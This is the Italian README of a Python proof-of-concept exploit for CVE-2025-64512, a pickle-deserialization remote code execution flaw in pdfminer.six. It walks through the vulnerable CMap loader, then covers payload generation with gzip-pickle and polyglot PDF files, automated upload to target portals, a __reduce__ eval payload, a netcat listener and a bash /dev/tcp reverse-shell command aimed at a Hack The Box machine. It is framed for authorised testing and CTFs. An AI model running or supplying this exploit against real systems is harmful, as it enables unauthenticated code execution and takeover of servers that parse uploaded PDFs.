
PoC in Python per CVE-2025-64512, un RCE da deserializzazione pickle in pdfminer.six. Genera payload pickle compressi con gzip e PDF poliglotti, quindi li invia ai portali di upload per test autorizzati.
Python 3, solo stdlib (nessun pip install). Solo per test di sicurezza autorizzati e uso CTF — sei responsabile del rispetto della legge e delle regole di ingaggio del tuo incarico.
| CVE | CVE-2025-64512 |
| Affected | pdfminer.six < 20251107 (corretto in 20251107 — i CMap sono diventati JSON) |
| Downstream victims | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Type | CWE-502 deserializzazione di dati non attendibili → RCE non autenticata |
| Reference PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (variante polyglot a file singolo) |
Target testato: https://app.hackthebox.com/machines/Bedside
pdfminer.six è una popolare libreria Python per estrarre testo dai PDF. I font PDF
necessitano di CMap — tabelle che traducono i codici carattere in Unicode — e pdfminer
le distribuisce come pickle gzippati (<name>.pickle.gz) all'interno del proprio pacchetto.
Osserva come viene caricato un CMap (pdfminer/cmapdb.py, tutte le versioni precedenti alla 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Tre difetti si sommano:
name proviene dal PDF stesso. La voce /Encoding di un font Type0 (CID) è
un nome PDF, e l'attaccante lo controlla completamente. I nomi PDF non possono contenere un
/ grezzo, quindi viene scritto con escape esadecimali standard RFC: il nome
/#2f#76#61#72#2f… si decodifica in /var/….os.path.join. Quando il secondo argomento è assoluto, il primo viene
ignorato completamente. Quindi un nome come /var/www/site/uploads/shell fa sì che pdfminer cerchi
/var/www/site/uploads/shell.pickle.gz — qualsiasi percorso su disco — invece della propria
directory CMap.pickle.loads() sul contenuto del file. Un pickle può contenere istruzioni
"ricostruiscimi chiamando questa funzione" (__reduce__). Deserializzare byte
controllati dall'attaccante = eseguire codice dell'attaccante, all'interno di qualunque processo abbia chiamato pdfminer.Prerequisiti dell'exploit — il bug è banalmente sfruttabile su qualsiasi applicazione che ti fornisca entrambe le metà dell'equazione:
{"__reduce__": eval("__import__('os').system('<your command>')")}./Encoding nomina il percorso assoluto del tuo pickle.--mode two (predefinito) — carica <name>.pickle.gz, poi <name>.pdf.
Usalo quando il target analizza solo file con estensione PDF
(es. un watcher che fa glob di uploads/*.pdf).--mode polyglot — carica un file <name>.pickle.gz che è sia
un gzip-pickle valido sia un PDF valido: l'intero PDF si nasconde nel campo FCOMMENT
dell'header gzip (RFC 1952 consente commenti; la firma %PDF- si trova
al byte 10, e gli offset xref sono pre-shiftati così la tabella rimane valida).
Usalo quando il target analizza qualsiasi file caricato come PDF indipendentemente
dall'estensione (convertitori in stile markitdown).--verify), attende il ciclo di
elaborazione del target (--wait), e può anteporre un callback oracle (--callback)
che telefona a casa prima che il tuo comando venga eseguito — così puoi provare l'esecuzione anche se
il tuo canale principale fallisce.Niente da installare — Python 3.10+ (usa la sintassi str | None):
chmod +x cve_2025_64512.py
Genera payload di esempio e (se un pdfminer vulnerabile è importabile) eseguili nel tuo Python per provare che la catena funzioni prima di toccare un target:
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
L'output atteso termina con SELFTEST PASS sia per il trigger a due file che per il
polyglot. Puoi anche testare manualmente:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Riferimento completo degli argomenti: